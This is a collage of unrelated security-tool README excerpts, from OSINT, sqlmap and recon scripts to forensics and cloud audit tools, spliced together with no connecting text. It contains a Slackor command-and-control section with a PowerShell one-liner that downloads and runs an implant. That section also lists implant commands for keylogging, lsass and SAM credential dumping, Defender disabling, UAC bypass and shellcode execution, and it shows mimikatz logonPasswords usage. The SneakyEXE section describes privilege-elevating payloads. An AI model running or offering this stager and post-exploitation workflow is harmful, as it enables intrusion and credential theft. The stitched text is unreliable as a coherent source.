# clone the repo
$ git clone https://github.com/sherlock-project/sherlock.git

# change the working directory to sherlock
$ cd sherlock

# install python3 and python3-pip if not exist

# install the requirements
$ pip3 install -r requirements.txt

$ python3 sherlock.py --help
usage: sherlock.py [-h] [--version] [--verbose] [--rank]
                   [--folderoutput FOLDEROUTPUT] [--output OUTPUT] [--tor]
                   [--unique-tor] [--csv] [--site SITE_NAME]
                   [--proxy PROXY_URL] [--json JSON_FILE]
                   USERNAMES [USERNAMES ...]

Sherlock: Find Usernames Across Social Networks (Version 0.6.4)

positional arguments:
  USERNAMES             One or more usernames to check with social networks.

optional arguments:
  -h, --help            show this help message and exit
  --version             Display version information and dependencies.
  --verbose, -v, -d, --debug
                        Display extra debugging information    and metrics.
  --rank, -r            Present websites ordered by their Alexa.com global
                        rank in popularity.
  --folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT
                        If using multiple usernames, the output of the results
                        will be saved at this folder.
  --output OUTPUT, -o OUTPUT
                        If using single username, the output of the result
                        will be saved at this file.
  --tor, -t             Make requests over TOR; increases runtime; requires
                        TOR to be installed and in system path.
  --unique-tor, -u      Make requests over TOR with new TOR circuit after each
                        request; increases runtime; requires TOR to be
                        installed and in system path.
  --csv                 Create Comma-Separated Values (CSV) File.
  --site SITE_NAME      Limit analysis to just the listed sites. Add multiple
                        options to specify more than one site.
  --proxy PROXY_URL, -p PROXY_URL
                        Make requests over a proxy. e.g.
                        socks5://127.0.0.1:1080
  --json JSON_FILE, -j JSON_FILE
                        Load data from a JSON file or an online, valid, JSON
                        file.
  --print-found
   Prints only found messages. Errors, and invalid
   username errors will not appear.

docker build -t mysherlock-image .

docker run --rm mysherlock-image user123

docker run theyahya/sherlock user123

$ python3 -m unittest tests.all --buffer --verbose

• Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
• Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
• Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
• Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
• Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
• Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
• Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
• Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
• Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
• Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
• Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

python sqlmap.py -h

python sqlmap.py -hh

• Homepage: http://sqlmap.org
• Download: .tar.gz or .zip
• Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
• Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
• User's manual: https://github.com/sqlmapproject/sqlmap/wiki
• Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
• Twitter: @sqlmap
• Demos: http://www.youtube.com/user/inquisb/videos
• Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

• Bulgarian
• Chinese
• Croatian
• French
• Greek
• Indonesian
• Italian
• Japanese
• Portuguese
• Spanish
• Turkish

• INSTALL.md: how to install icebox.
• BUILD.md: how to build icebox.

• fdp: Fast Debugging Protocol sources
• icebox: Icebox sources
  • icebox: Icebox lib (core, os helpers, plugins...)
  • icebox_cmd: Program that test several features
  • samples: Bunch of examples
• winbagility: stub to connect WinDBG to FDP
• virtualbox: VirtualBox sources patched for FDP.

cd icebox/bin/$ARCH/
./vm_resume <vm_name>

cd icebox/bin/$ARCH/
./nt_writefile <vm_name> <process_name>

cd icebox/bin/$ARCH/
./heapsan <vm_name> <process_name>

cd icebox/bin/$ARCH/
./wireshark <name> <path_to_capture_file>

$ docker pull mozilla/mig
$ docker run -it mozilla/mig

$ cd $GOPATH/src/github.com/mozilla/mig
$ docker build -t mozilla/mig:latest .
$ docker run -it mozilla/mig

mig@5345268590c8:~$ /go/bin/mig file -t all -path /usr/bin -sha2 5c1956eba492b2c3fffd8d3e43324b5c477c22727385be226119f7ffc24aad3f
1 agents will be targeted. ctrl+c to cancel. launching in 5 4 3 2 1 GO
Following action ID 7978299359234.
 1 / 1 [=========================================================] 100.00% 0/s4s
100.0% done in 3.029105958s
1 sent, 1 done, 1 succeeded
ed11f485244a /usr/bin/wget [lastmodified:2016-07-05 15:32:42 +0000 UTC, mode:-rwxr-xr-x, size:419080] in search 's1'
1 agent has found results

• Massively Distributed means Fast.
• Simple to deploy and Cross-Platform.
• Secured using OpenPGP.
• Respectful of privacy by never retrieving raw data from endpoints.

• Concepts & Internal Components
• Installation & Configuration

• ADLER-32
• CRC-32
• CRC-32B
• CRC-16
• CRC-16-CCITT
• DES(Unix)
• FCS-16
• GHash-32-3
• GHash-32-5
• GOST R 34.11-94
• Haval-160
• Haval-192 110080 ,Haval-224 114080 ,Haval-256
• Lineage II C4
• Domain Cached Credentials
• XOR-32
• MD5(Half)
• MD5(Middle)
• MySQL
• MD5(phpBB3)
• MD5(Unix)
• MD5(Wordpress)
• MD5(APR)
• Haval-128
• MD2
• MD4
• MD5
• MD5(HMAC(Wordpress))
• NTLM
• RAdmin v2.x
• RipeMD-128
• SNEFRU-128
• Tiger-128
• MySQL5 - SHA-1(SHA-1($pass))
• MySQL 160bit - SHA-1(SHA-1($pass))
• RipeMD-160
• SHA-1
• SHA-1(MaNGOS)
• Tiger-160
• Tiger-192
• md5($pass.$salt) - Joomla
• SHA-1(Django)
• SHA-224
• RipeMD-256
• SNEFRU-256
• md5($pass.$salt) - Joomla
• SAM - (LM_hash:NT_hash)
• SHA-256(Django)
• RipeMD-320
• SHA-384
• SHA-256
• SHA-384(Django)
• SHA-512
• Whirlpool
• And more...

• A Slack Workspace
  
• Register an app with the following permissions:
  
  • channels:read
  • channels:history
  • channels:write
  • files:write:user
  • files:read
• Create a bot
  

• install.sh Installs dependancies
• setup.py The script to create the slack channels, database, and implant
• server.py The Slackor server, designed to be ran on Linux
• template.go Template for the generated implant
• requirements.txt Python dependencies (installed automatically)

• Run install.sh
• Run setup.py
  • Supply the OAuth Access Token and Bot User OAuth Access Token from your app

powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe

• Help - Displays help menu
• interact - Interact with an agent
• list - List all registered agents
• remove - kill and remove an agent
• revive - Sends a signal to all agents to re-register with the server
• stager - Generates a one-liner to download an execute the implant
• quit - Quit the program
• wipefiles - Deletes all uploaded files out of Slack

• back - Return to the main menu
• beacon - change the amount of time between each check-in by an agent (default is 5 seconds)
• bypassuac - Attempts to spawn a high integrity agent
• cleanup - Removes persistence artifacts
• clipboard - Retreives the contents of the clipboard
• defanger - Attempts to de-fang Windows Defender
• download - Download a file from the agent to the Slackor server
• duplicate - Causes the agent to spawn another invocation of itself
• getsystem - Spawns an agent as NTAUTHORITY/SYSTEM
• help - Displays help menu
• keyscan - Starts a keylogger on the agent
• kill - Kill the agent
• minidump - Dumps memory from lsass.exe and downloads it
• persist - Creates persistence by implanting a binary in an ADS
• samdump - Attempts to dump the SAM file for offline hash extraction
• screenshot - Takes a screenshot of the desktop and retrieves it
• shellcode - Executes x64 raw shellcode
• sleep - Cause the agent to sleep once (enter time in seconds)
• sysinfo - Displays the current user, OS version, system architecture, and number of CPU cores
• upload - Upload a file to the agent from the Slackor server
• wget - Pull down arbitrary files over HTTP/HTTPS

• cat - prints file content
• cd - change directory
• hostname - Displays the name of the host
• ifconfig - Displays interface information
• ls - list directory contents
• mkdir - Creates a directory
• pwd - prints the current working directory
• rm - removes a file
• rmdir - removes a directory
• whoami / getuid - prints the current user

• https://github.com/EgeBalci - Functions adapted from HERCULES and EGESPLOIT
• https://github.com/SaturnsVoid - Keylogger adapted from GoBot2
• https://github.com/vyrus001 - x64 shellcode execution shellGo
• Crypto functions adopted from https://www.golang123.com/topic/1686
• Persistence idea from Enigma0x3
• Minidump adoped from Merlin, credit to C-Sto
• Screenshot code from kbinani
• Clipboard code from atotto
• Stager generator from hlldz
• UAC bypass by winscripting.blog
• Lulzbin find by @vector_sec
• Countless threads on StackOverflow
• Thanks to impacket for dumping hashes from SAM/SYS/SECURITY reg hives.
• LSASS dump credential extraction made possbile using pypykatz by skelsec

• DOSfuscation
• Reflectively load DLL/PE - https://github.com/vyrus001/go-mimikatz
• Execute C# assemblies in memory - https://github.com/lesnuages/go-execute-assembly
• Source code obfuscationhttps://github.com/unixpickle/gobfuscate

(Slackor: AGENT)minidump

>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords

apt install git
apt install php
git clone https://github.com/fdciabdul/fbchecker
cd fbchecker
php fbcheck.php

 php fbcheck.php target.txt

1. Obtain the latest database of vulnerabilities by executing the command wes.py --update.
2. Use Windows' built-in systeminfo.exe tool to obtain the system information of the local system, or from a remote system using systeminfo.exe /S MyRemoteHost, and redirect this to a file: systeminfo > systeminfo.txt
3. Execute WES-NG with the systeminfo.txt output file as the parameter: wes.py systeminfo.txt. WES-NG then uses the database to determine which patches are applicable to the system and to which vulnerabilities are currently exposed, including exploits if available.
4. As the data provided by Microsoft is frequently incomplete and false positives are reported by wes.py, make sure to check the Eliminating false positives page at the Wiki on how to deal with this. For an overview of all available parameters, check CMDLINE.md.

• Microsoft Security Bulletin Data: KBs for older systems [1]
• MSRC: The Microsoft Security Update API of the Microsoft Security Response Center (MSRC): Standard source of information for modern Microsoft Updates [2]
• NIST National Vulnerability Database (NVD): Complement vulnerabilities with Exploit-DB links [3] These are combined into a single .csv file which is compressed and hosted in this GitHub repository.

• Bugs can be submitted via the Issues page
• For false positives in results, please read the Eliminating false positives page at the Wiki first. In case that doesn't significantly reduce the number of false positives, follow the steps at the Report false positives page on the Wiki

• Add support for NoPowerShell's Get-SystemInfo cmdlet output
• Add support for wmic qfe output together with support for parameters to manually specify the operating system
• Add support for alternative output formats of systeminfo (csv, table)
• More testing on the returned false positive vulnerabilities - see also the wiki
• Add support for Itanium architecuture

1. Sub Domain Scraping
2. Finding A.S.N -> Netblocks -> IP's
3. Resolving
4. Finding Ports
5. Finding VHost
6. Finding Directories
7. Finding Sub Takeovers
8. Asset tracker with live monitoring
9. Push Notifications to Slack
10. Finding JS link then relative links in them and some sensitive files
11. Active and passive crawling

1. Delete the lines 13-18
2. Then set you API and SECRET KEY on line 47 & 48 like this: export CENSYS_API_ID=your_key_here

1. Replace the Webhook address at line 113 in sub.sh and 15 in ASN.sh
2. Replace the Webhook address in Tools/sublert/config.py

1. Sublist3r
   
2. Knock
   
3. Subfinder
   
4. Censys
   
5. Amass
   
6. CT Logs
   
7. CTFR
   
8. Wayback
   
9. San Domains
   
10. AltDns
    
11. NMAP
    
12. Masscan
    
13. MassDNS
    
14. Sublert
    
15. Aquatone
    
16. Vhost
    
17. Rapid7 FDNS DB
    
18. AWS-CLI
    
19. Dirsearch
    
20. More to be added...
    

wget https://dl.google.com/go/go1.12.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.12.5.linux-amd64.tar.gz
rm -f go1.12.5.linux-amd64.tar.gz
nano ~/.profile

export PATH=$PATH:/usr/local/go/bin
export GOROOT=/usr/local/go

sudo apt-get upgrade && sudo apt-get update && sudo apt-get install git

git clone https://github.com/SilverPoision/Rock-ON.git
cd Rock-ON
chmod +x rockon.sh
./rockon.sh
1

aws configure

./rockon.sh

gem install colorize

pip3 install faker

• Generate multiple departments (OU's)
• Generate grouping structure and randomly assign
• Implement additional Faker object options to populate other LDAP fields such as Address, Region
• Create an organisational chart of the nested grouping structure

[-] Domain Name set to : example
[*] Writing to output file : sales_example.csv
[!] Generating 100000 users in password generate mode
[!] Creating Powershell script for import : sales_example.ps1
python3 youzer.py --generate --generate_length 20 --ou  --domain example      20.35s user 0.11s system 95% cpu 21.354 total

python3 youzer.py --generate --generate_length 20 --ou "ou=sales,dc=example,dc=domain" --domain example --users 1000 --output sales_example.csv



?88   d8P  d8888b ?88   d8Pd88888P  d8888b  88bd88b
d88   88  d8P' ?88d88   88    d8P' d8b_,dP  88P'  `
?8(  d88  88b  d88?8(  d88  d8P'   88b     d88
`?88P'?8b `?8888P'`?88P'?8bd88888P'`?888P'd88'
       )88
      ,d8P                            version : 0.1
   `?888P'

author  : @lorentzenman
team    : SpiderLabs


[-] Domain Name set to : example
[*] Writing to output file : sales_example.csv
[!] Generating 1000 users in password generate mode
[!] Creating Powershell script for import : sales_example.ps1

Name,GivenName,sn,ou,password,address,description
Dennis Shaw,Dennis,Shaw,"ou=sales,dc=example,dc=domain",VwVeloi09FaECRdNbbXD,
Sam Francis,Sam,Francis,"ou=sales,dc=example,dc=domain",qhitxgjDW4gZFuraLJbB,
Ellie Freeman,Ellie,Freeman,"ou=sales,dc=example,dc=domain",7qbLcknqlPtpkOzdLyw3,
Terence Arnold,Terence,Arnold,"ou=sales,dc=example,dc=domain",lumPMbDk1YomypRj26by,
Anne Murphy,Anne,Murphy,"ou=sales,dc=example,dc=domain",6r42EGGoEJYe9PydHRTV,
Wendy Smith,Wendy,Smith,"ou=sales,dc=example,dc=domain",tKI2zFUOU8XdK4ZTUJas,
Jay Lyons,Jay,Lyons,"ou=sales,dc=example,dc=domain",wxEIbw18tW9uFYXtMI9H,
Jonathan White,Jonathan,White,"ou=sales,dc=example,dc=domain",caoHcm2Y90lIH7zskJYr,
Adam Roberts,Adam,Roberts,"ou=sales,dc=example,dc=domain",Qu0y7mlb2haQQddxYrcN,
Georgina Jones,Georgina,Jones,"ou=sales,dc=example,dc=domain",rYBjxs4tpj9Qza7HcKYI,
Lee Newton,Lee,Newton,"ou=sales,dc=example,dc=domain",6CVlBvEutc3Ahco2UI5q,
Aaron Smith,A   aron,Smith,"ou=sales,dc=example,dc=domain",hmSSoKILfvrHuHbPTDIQ,
Max Hall,Max,Hall,"ou=sales,dc=example,dc=domain",11Ys9Zdk2M8J1JAScBkP,
Kimberley Douglas,Kimberley,Douglas,"ou=sales,dc=example,dc=domain",WQ9285gSHv2MXkwoLYlg,
Denise Fisher,Denise,Fisher,"ou=sales,dc=example,dc=domain",CT1pbfAnCoezuyrJbQX9,

python3 youzer.py --wordlist ~/tools/pw/Probable-Wordlists/Real-Passwords/Top12Thousand-probable-v2.txt --ou "ou=IT,dc=example,dc=domain" --domain example --users 1000 --output IT_example.csv



?88   d8P  d8888b ?88   d8Pd88888P  d8888b  88bd88b
d88   88  d8P' ?88d88   88    d8P' d8b_,dP  88P'  `
?8(  d88  88b  d88?8(  d88  d8P'   88b     d88
`?88P'?8b `?8888P'`?88P'?8bd88888P'`?888P'd88'
       )88
      ,d8P                            version : 0.1
   `?888P'

author  : @lorentzenman
team    : SpiderLabs


[-] Domain Name set to : example
[*] Writing to output file : IT_example.csv
[!] Generating 1000 users in wordlist mode
[!] Creating Powershell script for import : IT_example.ps1

Name,GivenName,sn,ou,password,address,description
Rhys Parker,Rhys,Parker,"ou=IT,dc=example,dc=domain",houston,
Geoffrey Harris,Geoffrey,Harris,"ou=IT,dc=example,dc=domain",clothing,
Georgia Davis,Georgia,Davis,"ou=IT,dc=example,dc=domain",spotty,
Gemma Norris,Gemma,Norris,"ou=IT,dc=example,dc=domain",brendan1,
Daniel Marsh,Daniel,Marsh,"ou=IT,dc=example,dc=domain",pauline,
Dominic Harvey,Dominic,Harvey,"ou=IT,dc=example,dc=domain",devin,
Teresa Stokes,Teresa,Stokes,"ou=IT,dc=example,dc=domain",snapple,
Joanna Morgan,Joanna,Morgan,"ou=IT,dc=example,dc=domain",volcom,
Oliver Middleton,Oliver,Middleton,"ou=IT,dc=example,dc=domain",master,

• Kali Linux 2019.2
• Ubuntu 18.04
• Nethunter
• Arc Linux

git clone https://github.com/itsmehacker/DarkScrape.git
pip3 install -r requirements.txt

• Download Media
• Scrape From Single Url
• Scraping From Files
  • Txt
  • Csv
  • Excel

chmod +x *.sh
 ./netset-main.sh --install

#sudo ./netset-main.sh --install

CLI Arguments                            
    '-t' or '--terminal' Starts         
    terminal multiplexer with all       
    connections routed through Tor        

    '-s' or '--status' prints a status   
    overview of NetSet related network   
    utilities and their current state.

    '-i' or '--install' runs a script
    designed to install all of NetSet's
    dependencies and configures them

Menu Options

 'Usage'          - Print options overview
 'Status'         - Print Status overview
 'Spoof MAC'      - Spoof MAC Address
 'Random Proxies' - Scrape random proxies
 'GeoSort Proxies'- Scrape GeoSorted proxies
 'ProtonVPN'      - Start ProtonVPN
 'Tor Terminal'   - Start terminal multi-
                    plexer, with all sessions
                    routed through Tor   
 'Tor Wall'       - Configures iptables to
                    force all connections
                    through Tor.
 'OPSEC Resources'- Display NetSet's included
                    list of web resources.
        Select an entry to open
                    it in your default browser

• Tested on Windows 7,8,10 ( 64bit)
• Free and Open-sourced with full source codes published

This tool does require a python module called termcolor. When you run the script it will automatically install it if you haven't, but if you want the tool to function faster, i would suggest you doing it manually before proceeding

$ pip3 install termcolor #installing termcolor

$ #Temporary usage only, installation below
$ git clone https://github.com/Zenix-Blurryface/SneakyEXE.git
$ cd SneakyEXE/Linux
$ chmod +x sneakyexe.py
$ ./sneakyexe <option>=<path to payload/code> out=<where you wanna save>

• visit https://github.com/Zenix-Blurryface/SneakyEXE
• Download the repository, "clone or download" -> "Download ZIP"
• Unzip it into your optional directory
• Change dir to \SneakyEXE\Win32\
• Execute sneakyexe.exe ( or sys\sneakyexe.exe for an improved startup speed )
• ( Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one )

- NOTE -
The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

$ git clone https://github.com/Zenix-Blurryface/SneakyEXE.git
$ cd SneakyEXE
$ chmod +x install.sh
$ sudo ./install.sh

• UNAVAILABLE
• ( Soon will if many people demand )

• Built on Opensuse Leap 15.0
• Developed using Python 3.6.5
• Developed with gcc (MinGW.org GCC-8.2.0-3) 8.2.0 for the payload compilation

• In order to build the elevator from source, you will need gcc gcc 8.2.0 ( c11 ) and a AMD64 machine with Windows 10(7/8) 64-bit installed.

# Windows 10/7/8 (AMD64)
# Open cmd.exe / powershell.exe
>> gcc -mwindows -o <output>.exe /source/main.c

• In order to build the GUI version from source, you will need Python 3.5.6 ( or higher ) with modules like Pyinstaller, Pillow and a AMD64 machine with Windows 10 (7/8) 64-bit installed.

# Assume we already had  Python preinstalled
# Open cmd.exe / powershell.exe
>> pip install pillow      # Installing Pillow
>> pip install pyinstaller # Installing Pyinstaller
>> mkdir compile           # Optional directory name
>> cd compile
>> pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py # For sysematic version ( /sys ), remove --onefile
>> cd dist
>> GUI.exe                 # The compiled executable :}

• This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
• Feel free to use this project in your software, just don't reclaim the ownerhsip.

• v0.9 beta

• hfiref0x --> https://github.com/hfiref0x

• port Whonix from Debian stretch to Debian buster 5
• kernel hardening 7
• Blacklist uncommon network protocols 6
• systemd unit sandboxing 5
• improve entropy collection through extensive research and installation by default of jitterentropy-rngd 3
• research implications of spectre / meltdown / retpoline / L1 Terminal Fault (L1TF) 5 vs Whonix
• Non-Qubes-Whonix: kloak - Keystroke Anonymization Tool 5
• Non-Qubes-Whonix: Whonix Live 3 / Live Mode Indicator / grub-live / grub-default-live 1
• Non-Qubes-Whonix: switch desktop environment from KDE to XFCE (poll 2) (other desktop environments 3)
• Non-Qubes-Whonix: reduced image size using zerofree 2
• Whonix VirtualBox: CLI version 2 (Whonix ™ with CLI is a version suited for advanced users – those who want Whonix ™ without a GUI.)
• Whonix VirtualBox: unified ova downloads 5
• Qubes-Whonix: change Qubes-Whonix default applications from KDE-ish to XFCE-ish 5
• Qubes-Whonix: simplify installation of VM kernel 2 by installing the same recommended Qubes packages as Qubes Debian packages (source 1 (source 2)
• Whonix KVM: serial console support 3
• update sdwdate time sources 1
• List of processed Whonix 15 tickets
• arm64 / RPi 5 port
• install by default zulucrypt, qtox, onionshare, keepassxc, firejail
• new usability wrappers: scurlget 1, curlget, pwchange, upgrade-nonroot 1, apt-get-noninteractive, apt-get-update-plus
• remove mixmaster, ricochet since dead upstream
• support for Bisq - The P2P Exchange Network 4
• port build script to cowbuilder; build packages in chroot and use mmdebstrap for better security
• add UsrMerge compatibility

• Full ChangeLog 6
• list of all source code between Whonix 14 and Whonix 15

Use: ./lse.sh [options]

 OPTIONS
   -c           Disable color
   -i           Non interactive mode
   -h           This help
   -l LEVEL     Output verbosity level
                  0: Show highly important results. (default)
                  1: Show interesting results.
                  2: Show all gathered information.
   -s SELECTION Comma separated list of sections or tests to run. Available
                sections:
                  usr: User related tests.
                  sud: Sudo related tests.
                  fst: File system related tests.
                  sys: System related tests.
                  sec: Security measures related tests.
                  ret: Recurren tasks (cron, timers) related tests.
                  net: Network related tests.
                  srv: Services related tests.
                  pro: Processes related tests.
                  sof: Softw   are related tests.
                  ctn: Container (docker, lxc) related tests.
                Specific tests can be used with their IDs (i.e.: usr020,sud)

• Windows binaries will be automatically built from Appveyor and published to Github.
• Systems supporting UTF-8 encoding is mandatory, except on Windows console (file output is also in UTF-8). This shouldn't be problematic though, as UTF-8 locale is pretty much standard for Linux and macOS these years. On Windows front, there are already many featureful text editors capable of opening UTF-8 unicode text files.
• As a result, -8 option is obsolete and no more affects output in any way.

• rifiuti-vista.exe -x -z -o result.xml \case\S-1-2-3\

Scan for index files under \case\S-1-2-3\, adjust all deletion time for local time zone, and write XML output to result.xml

• rifiuti -l CP932 -t "\n" INFO2

Assume INFO2 file is generated from Japanese Windows (codepage 932), and display each field line by line, instead of separated by tab

• DEB packages available officially on Debian and Ubuntu, hence also available on most (if not all) derivatives focusing on security and forensics, such as (this is incomplete list):
  • Kali Linux
  • Deft X Virtual Appliance
  • BackBox Linux
• RPM packages from Linux Forensics Tools Repository (LiFTeR) can be used on Fedora, and very likely CentOS and RHEL.
• ArchStrike (formerly ArchAssault), a penetration testing derivative of Arch Linux, has rifiuti2 packaged since late 2014.

./configure && make check && make install

• Use as a library:
  • Recurse over the registry hive, from root or a given path and get all subkeys and values
  • Read specific subkeys and values
  • Apply transaction logs on a registry hive
• Command Line Tools
  • Dump an entire registry hive to json
  • Apply transaction logs on a registry hive
  • Compare registry hives
  • Execute plugins from a robust plugin system (i.e: amcache, shimcache, extract computer name...)

pip install regipy

python setup.py install

registry-parse-header ~/Documents/TestEvidence/Registry/SYSTEM

╒════════════════════════╤══════════╕
│ signature              │ b'regf'  │
├────────────────────────┼──────────┤
│ primary_sequence_num   │ 11639    │
├────────────────────────┼──────────┤
│ secondary_sequence_num │ 11638    │
├────────────────────────┼──────────┤
│ last_modification_time │ 0        │
├────────────────────────┼──────────┤
│ major_version          │ 1        │
├────────────────────────┼──────────┤
│ minor_version          │ 5        │
├────────────────────────┼──────────┤

│ file_type              │ 0        │
├────────────────────────┼──────────┤
│ file_format            │ 1        │
├────────────────────────┼──────────┤
│ root_key_offset        │ 32       │
├────────────────────────┼──────────┤
│ hive_bins_data_size    │ 10534912 │
├────────────────────────┼──────────┤
│ clustering_factor      │ 1        │
├────────────────────────┼──────────┤
│ file_name              │ SYSTEM   │
├────────────────────────┼──────────┤
│ checksum               │ 0        │
╘════════════════════════╧══════════╛
[2019-02-09 13:46:12.111654] WARNING: regipy.cli: Hive is not clean! You should apply transaction logs

• When parsing the header of a hive, also checksum validation and transaction validations are done

registry-dump ~/Documents/TestEvidence/Registry/NTUSER-CCLEANER.DAT -o /tmp/output.json

registry-run-plugins ~/Documents/TestEvidence/Registry/SYSTEM -o /tmp/plugins_output.json

registry-diff NTUSER.dat NTUSER_modified.dat -o /tmp/diff.csv

[2019-02-11 19:49:18.824245] INFO: regipy.cli: Comparing NTUSER.DAT vs NTUSER_modified.DAT
╒══════════════╤══════════════╤════════════════════════════════════════════════════════════════════════════════╤════════════════════════════════════════════════╕
│ difference   │ first_hive   │ second_hive                                                                    │ description                                    │
╞══════════════╪══════════════╪════════════════════════════════════════════════════════════════════════════════╪════════════════════════════════════════════════╡
│ new_subkey   │              │ 2019-02-11T19:46:31.832134+00:00                                               │ \Software\Microsoft\legitimate_subkey          │
├──────────────┼──────────────┼────────────────────────────────────────────────────────────────────────────────┼────────────────────────────────────────────────┤
│ new_value    │              │ not_a_malware: c:\temp\legitimate_binary.exe @ 2019-02-11 19:45:25.516346+0:00 │ \Software\Microsoft\Windows\CurrentVersion\Run │

╘══════════════╧══════════════╧════════════════════════════════════════════════════════════════════════════════╧════════════════════════════════════════════════╛
[2019-02-11 19:49:18.825328] INFO: regipy.cli: Detected 2 differences

registry-transaction-logs NTUSER.DAT -p ntuser.dat.log1 -s ntuser.dat.log2 -o recovered_NTUSER.dat 

from regipy.registry import RegistryHive
reg = RegistryHive('/Users/martinkorman/Documents/TestEvidence/Registry/Vibranium-NTUSER.DAT')

for entry in reg.recurse_subkeys(as_json=True):
    print(entry)

for sk in reg.get_key('Software').iter_subkeys():
    print(sk.name, convert_wintime(sk.header.last_modified).isoformat())

Adobe 2019-02-03T22:05:32.525965
AppDataLow 2019-02-03T22:05:32.526047
McAfee 2019-02-03T22:05:32.526140
Microsoft 2019-02-03T22:05:32.526282
Netscape 2019-02-03T22:05:32.526352
ODBC 2019-02-03T22:05:32.526521
Policies 2019-02-03T22:05:32.526592

reg.get_key('Software\Microsoft\Internet Explorer\BrowserEmulation').get_values(as_json=True)
[{'name': 'CVListTTL',
  'value': 0,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'UnattendLoaded',
  'value': 0,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'TLDUpdates',
  'value': 0,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'CVListXMLVersionLow',
  'value': 2097211,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'CVListXMLVersionHigh',
  'value': None,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'CVListLastUpdateTime',
  'value': None,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'IECompatVersionHigh',
  'value': None,
  'value_type': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'IECompatVersionLow',
  'value': 2097211,
  'value_t   ype': 'REG_DWORD',
  'is_corrupted': False},
 {'name': 'StaleCompatCache',
  'value': 0,
  'value_type': 'REG_DWORD',
  'is_corrupted': False}]

from regipy.plugins.ntuser.ntuser_persistence import NTUserPersistencePlugin
NTUserPersistencePlugin(reg, as_json=True).run()

{
 'Software\\Microsoft\\Windows\\CurrentVersion\\Run': {
  'timestamp': '2019-02-03T22:10:52.655462',
  'values': [{
   'name': 'Sidebar',
   'value': '%ProgramFiles%\\Windows Sidebar\\Sidebar.exe /autoRun',
   'value_type': 'REG_EXPAND_SZ',
   'is_corrupted': False
  }]
 }
}

from regipy.plugins.utils import run_relevant_plugins
reg = RegistryHive('/Users/martinkorman/Documents/TestEvidence/Registry/SYSTEM')
run_relevant_plugins(reg, as_json=True)

{
 'routes': {},
 'computer_name': [{
  'control_set': 'ControlSet001\\Control\\ComputerName\\ComputerName',
  'computer_name': 'DESKTOP-5EG84UG',
  'timestamp': '2019-02-03T22:19:28.853219'
 }]
}

• Select Platform ToolSet first for project in solution you want to build (Project->Properties->General):
  • v120 for Visual Studio 2013;
  • v140 for Visual Studio 2015;
  • v141 for Visual Studio 2017.
• For v140 and above set Target Platform Version (Project->Properties->General):
  • If v140 then select 8.1 (Note that Windows 8.1 SDK must be installed);
  • If v141 then select 10.0.17134.0 (Note that Windows 10.0.17134 SDK must be installed).

$GOPATH $ go get github.com/Appliscale/cloud-security-audit
$GOPATH $ cd cloud-security-audit

cloud-security-audit $ make all

$ cloud-security-audit --service s3 --mfa --mfa-duration 3600

$ cloud-security-audit --service ec2

+---------------+---------------------+--------------------------------+-----------------------------------+----------+
| AVAILABILITY  |         EC2         |            VOLUMES             |             SECURITY              |          |
|               |                     |                                |                                   | EC2 TAGS |
|     ZONE      |                     |     (NONE) - NOT ENCRYPTED     |              GROUPS               |          |
|               |                     |                                |                                   |          |
|               |                     |    (DKMS) - ENCRYPTED WITH     |    (INCOMING CIDR = 0.0.0.0/0)    |          |
|               |                     |         DEFAULT KMSKEY         |                                   |          |
|               |                     |                                |       ID : PROTOCOL : PORT        |          |
+---------------+---------------------+--------------------------------+-----------------------------------+----------+
| eu-central-1a | i-0fa345j6756nb3v23 | vol-0a81288qjd188424d[DKMS]    | sg-aaaaaaaa : tcp : 22            | App:some |
|               |                     | vol-0c2834re8dfsd8sdf[NONE]    | sg-aaaaaaaa : tcp : 22            | Key:Val  |
+---------------+---------------------+--------------------------------+-----------------------------------+----------+

1. First column AVAILABILITY ZONE contains information where the instance is placed
2. Second column EC2 contains instance ID.
3. Third column Volumes contains IDs of attached volumes(virtual disks) to given EC2. Suffixes meaning:
   • [NONE] - Volume not encrypted.
   • [DKMS] - Volume encrypted using AWS Default KMS Key. More about KMS you can find here
4. Fourth column Security Groups contains IDs of security groups that have too open permissions. e.g. CIDR block is equal to 0.0.0.0/0(open to the whole world).
